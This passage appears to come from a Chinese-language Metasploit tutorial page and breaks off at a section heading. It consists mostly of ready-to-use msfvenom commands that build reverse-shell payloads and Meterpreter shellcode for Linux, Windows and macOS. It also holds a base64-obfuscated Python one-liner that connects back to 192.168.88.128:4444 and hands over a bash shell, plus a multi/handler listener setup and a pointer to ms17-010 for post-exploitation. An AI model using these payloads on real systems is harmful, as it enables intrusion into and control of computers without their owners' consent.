0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>3.脚本shell</p>
<p>Python</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p cmd/unix/reverse_python <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f raw &gt; shell.py</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Bash</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p cmd/unix/reverse_bash <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f raw &gt; shell.sh</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Perl</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p cmd/unix/reverse_perl <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f raw &gt; shell.pl</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>执行方式：复制shell.py中的内容在linux命令行下执行：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python -c <span class="s2">&#34;exec(&#39;aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ==&#39;.decode(&#39;base64&#39;))&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>4.shellcode
Linux Based Shellcode</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p linux/x86/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f &lt;language&gt;</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Windows Based Shellcode</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f &lt;language&gt;</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Mac Based Shellcode</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p osx/x86/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f &lt;language&gt;</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="4-meterpreter基本命令">4. Meterpreter基本命令<a class="anchor" href="#4-meterpreter基本命令">#</a></h2>
<p>首先需要先获取meterpreter：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">use exploit/multi/handler
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nb">set</span> payload windows/meterpreter/reverse_tcp
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nb">set</span> LHOST 192.168.81.160
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nb">set</span> ExitOnSession <span class="nb">false</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">exploit -j -z <span class="c1"># -j(计划任务下进行攻击，后台) -z(攻击完成不遇会话交互)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nb">jobs</span>  <span class="c1"># 查看后台攻击任务 </span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nb">kill</span> &lt;id&gt;  <span class="c1"># 停止某后台攻击任务 </span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">sessions -l  <span class="c1"># (查看会话)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">sessions -i <span class="m">2</span>   <span class="c1"># 选择会话</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">sessions -k <span class="m">2</span>   <span class="c1"># 结束会话</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>如果先获取了cmd，比如利用ms17-010，默认使用的payload返回的就是cmd。这时候我们可以使用<code>sessions-u 2</code>来将cmdshell升级成meterpreter。</p>
<p>获取到了meterpreter，就可以进行后渗透了。</p>
<h3 id="41-基本系统命令">4.1 基本系统命令<a class="anchor" href="#41-基本系统命令">#</a></h3>
